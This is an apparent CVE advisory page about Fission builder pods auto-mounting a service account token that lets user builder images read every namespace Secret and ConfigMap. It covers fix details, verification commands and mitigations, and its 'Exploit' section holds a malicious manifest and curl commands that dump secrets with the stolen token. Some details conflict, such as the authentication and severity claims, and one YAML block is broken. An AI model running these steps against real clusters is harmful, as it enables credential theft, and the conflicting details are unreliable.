Fission Builder Pods, Service Account Token Exposure, CVE-2026-46617 (High) -DC-Jun2026-750

How CVE-2026-46617 Works

Fission is an open-source, Kubernetes-native serverless framework that simplifies the deployment of functions and applications on Kubernetes. Prior to version 1.23.0, Fission runtime pods were created with `ServiceAccountName: fission-fetcher` — a ServiceAccount that was granted namespace-wide `get` permissions on secrets and configmaps. This permission is required for the fetcher sidecar to load function code, environment variables, and configuration.
The critical flaw lies in how Kubernetes handles service account tokens. When a Pod specifies a `ServiceAccountName` without setting automountServiceAccountToken: false, kubelet automatically mounts the service account token into every container in that Pod at /var/run/secrets/kubernetes.io/serviceaccount/token. This means the user-controlled function container inherited the same `fission-fetcher` identity and Kubernetes API privileges as the fetcher sidecar.
A user able to deploy or update a function in any namespace where Fission runtime pods are scheduled could therefore:
– Read every Secret in that namespace — including TLS keys, OIDC client secrets, database credentials, and cloud provider credentials
– Read every ConfigMap in that namespace
– Use those credentials to pivot to other Kubernetes resources or external systems
This violated the principle that `Function.spec.secrets` should be the authoritative declaration of which secrets a function can read.
The root cause was that while the fetcher sidecar legitimately needs the SA token to call the Fission control plane, Kubernetes does not provide per-container service account scoping inside a single Pod. Setting `ServiceAccountName: fission-fetcher` on the Pod gives every container in the Pod the automounted token.
The builder manager sibling issue — which this specifically addresses — is structurally identical: Fission builder pods were created with `ServiceAccountName: fission-builder` and no automountServiceAccountToken: false, causing the kubelet to auto-mount the service account token into every container in the pod, including the user-supplied builder image. The `fission-builder` SA holds namespace-wide `get` on secrets and configmaps (pkg/utils/serviceaccount.go), so a user-controlled builder container could read every Secret in the builder namespace by name.
This was the buildermgr sibling of GHSA-85g2-pmrx-r49q (CVE-2026-46617), whose fix suppressed the SA-token automount on function runtime pods but did not cover the structurally identical primitive in pkg/buildermgr/envwatcher.go.

DailyCVE Form

| Field | Value |

|-|-|

| Platform | Fission |

| Version | < v1.24.0 |

| Vulnerability | SA token auto-mount |

| Severity | High |

| Date | 2026-05-26 |

| Prediction | 2026-06-06 |

What Undercode Say

Analytics from the Fission v1.24.0 release:

The fix was released in v1.24.0 via PR 3390. The v1.24.0 release is described as a “security-hardening release”.

Key Changes in `createBuilderDeployment`:

Set pod-level `AutomountServiceAccountToken=false` on the initial PodSpec and add the projected fetcher SA-token volume
Re-clamp `AutomountServiceAccountToken=false` after every `MergePodSpec` call so a user-supplied podspec cannot restore the kubelet automount
Mount the token via a projected volume on the fetcher sidecar only, so the legitimate build → archive-upload flow keeps its cluster API access
Reuses the projected-volume helpers from `pkg/executor/util/satoken.go` introduced by the GHSA-85g2-pmrx-r49q fix

Behavioural Change

The user-supplied builder container no longer receives an auto-mounted SA token. The fetcher sidecar still gets its token via a projected volume.

Code References

Affected component (builder manager)
pkg/buildermgr/envwatcher.go
Affected component (runtime - sibling issue)
pkg/executor/executortype/poolmgr/gp_deployment.go:154-156
pkg/executor/executortype/newdeploy/newdeploy.go:225-227
RBAC definition
pkg/utils/serviceaccount.go:51-64
Fix implementation
PR 3390 - "Drop fission-builder SA token from user builder container"

Verification Command

Check if your Fission version is vulnerable
kubectl get deployment -n fission fission-builder -o jsonpath='{.spec.template.spec.automountServiceAccountToken}'
Returns "true" or nil → vulnerable
Returns "false" → patched
Check the ServiceAccount permissions
kubectl describe sa fission-builder -n fission
kubectl describe rolebinding -n fission | grep fission-builder

Exploit

Prerequisites:

Access to create or update `Environment` CRDs in a namespace observed by the buildermgr
Fission version < v1.24.0

Attack Vector:

Create or update an Environment with a malicious builder image:

apiVersion: fission.io/v1
kind: Environment
metadata:
name: malicious-env
namespace: fission
spec:
builder:
image: attacker/malicious-builder:latest
command: ["/bin/sh"]
args: ["-c", "cat /var/run/secrets/kubernetes.io/serviceaccount/token && sleep 3600"]

2. The builder pod is created with:

– `ServiceAccountName: fission-builder`
– No `automountServiceAccountToken: false`
– The token auto-mounted at `/var/run/secrets/kubernetes.io/serviceaccount/token`
3. The malicious code inside the builder container reads the token and uses it to authenticate to the Kubernetes API as the `fission-builder` ServiceAccount

4. With the token, the attacker can:

Inside the builder container
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="https://kubernetes.default.svc"
Read all secrets in the namespace
curl -H "Authorization: Bearer $TOKEN" \
-k $APISERVER/api/v1/namespaces/fission/secrets
Read all configmaps
curl -H "Authorization: Bearer $TOKEN" \
-k $APISERVER/api/v1/namespaces/fission/configmaps

5. Exfiltrate credentials, TLS keys, database passwords, and cloud provider secrets
Note: The `fission-builder` SA holds namespace-wide `get` on secrets and configmaps (pkg/utils/serviceaccount.go), so the attack can read every Secret and ConfigMap in the builder namespace by name.

Protection

Immediate Mitigation (before upgrading)

Restrict who can create/update `Environment` CRDs in your cluster — treat the ability to ship builder images as equivalent to namespace-wide secret read
Reduce the `fission-builder` ClusterRole/Role scope where possible (e.g., constrain it to specific named secrets via separate Role bindings)
Add NetworkPolicy egress rules denying builder pods access to the Kubernetes API server — this blunts the token even if it leaks
```
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-builder-api-access
namespace: fission
spec:
podSelector:
matchLabels:
application: fission-builder
policyTypes:</li>
</ol>

- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 10.0.0.0/8 Adjust to your cluster's CIDR
```
Permanent Fix

Upgrade to Fission v1.24.0 or later

The fix in v1.24.0:
- Sets `automountServiceAccountToken: false` at the pod level
- Re-clamps this value after every `MergePodSpec` call
- Mounts the token via a projected volume on the fetcher sidecar only
- The user-supplied builder container no longer receives any SA token
Upgrade Command
```
Using Helm
helm upgrade fission fission/fission --version v1.24.0 -n fission
Or using the Fission CLI
fission upgrade --version v1.24.0
```
Impact

| Aspect | Details |

|–||

| Confidentiality | High — All Secrets and ConfigMaps in the builder namespace can be read |
| Integrity | Low — Read-only access, but secrets can be used for further attacks |
| Availability | None — No denial of service impact |
| Attack Vector | Remote — The attack can be performed remotely |
| Authentication | None required — No authentication is required for successful exploitation |
| Privilege Escalation | Yes — User-controlled builder code inherits the `fission-builder` SA identity |
| Data Exposed | TLS keys, OIDC client secrets, database credentials, cloud provider credentials, all ConfigMaps |
| Pivot Potential | High — Stolen credentials can be used to pivot to other Kubernetes resources or external systems |

CVSS Score (CVE-2026-46617)
- Base Score: ~5.1 (Medium/High)
- Exploit Price: $0-$5k
- CTI Interest Score: Low (0.00+)
Affected Components

– `pkg/buildermgr/envwatcher.go` — builder manager (this issue)
– `pkg/executor/executortype/poolmgr/gp_deployment.go:154-156` — pool-manager runtime
– `pkg/executor/executortype/newdeploy/newdeploy.go:225-227` — new-deploy runtime
– `pkg/utils/serviceaccount.go:51-64` — RBAC definition

References
- GitHub Security Advisory: GHSA-85g2-pmrx-r49q
- Fix PR: 3390
- Release: v1.24.0
- Release Notes: https://fission.io/docs/releases/v1.24.0/
🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin
Share this:

Listen to this Post

How CVE-2026-46617 Works

DailyCVE Form

| Field | Value |

|-|-|

| Platform | Fission |

| Version | < v1.24.0 |

| Vulnerability | SA token auto-mount |

| Severity | High |

| Date | 2026-05-26 |

| Prediction | 2026-06-06 |

What Undercode Say

Analytics from the Fission v1.24.0 release:

Key Changes in `createBuilderDeployment`:

Behavioural Change

Code References

Verification Command

Exploit

Prerequisites:

Attack Vector:

2. The builder pod is created with:

4. With the token, the attacker can:

Protection

Immediate Mitigation (before upgrading)

Permanent Fix

Upgrade to Fission v1.24.0 or later

The fix in v1.24.0:

Upgrade Command

Impact

| Aspect | Details |

|–||

CVSS Score (CVE-2026-46617)

Affected Components

References

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

🚀 Request a Custom Project:

Sources:

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

📢 Follow DailyCVE & Stay Tuned:

Share this: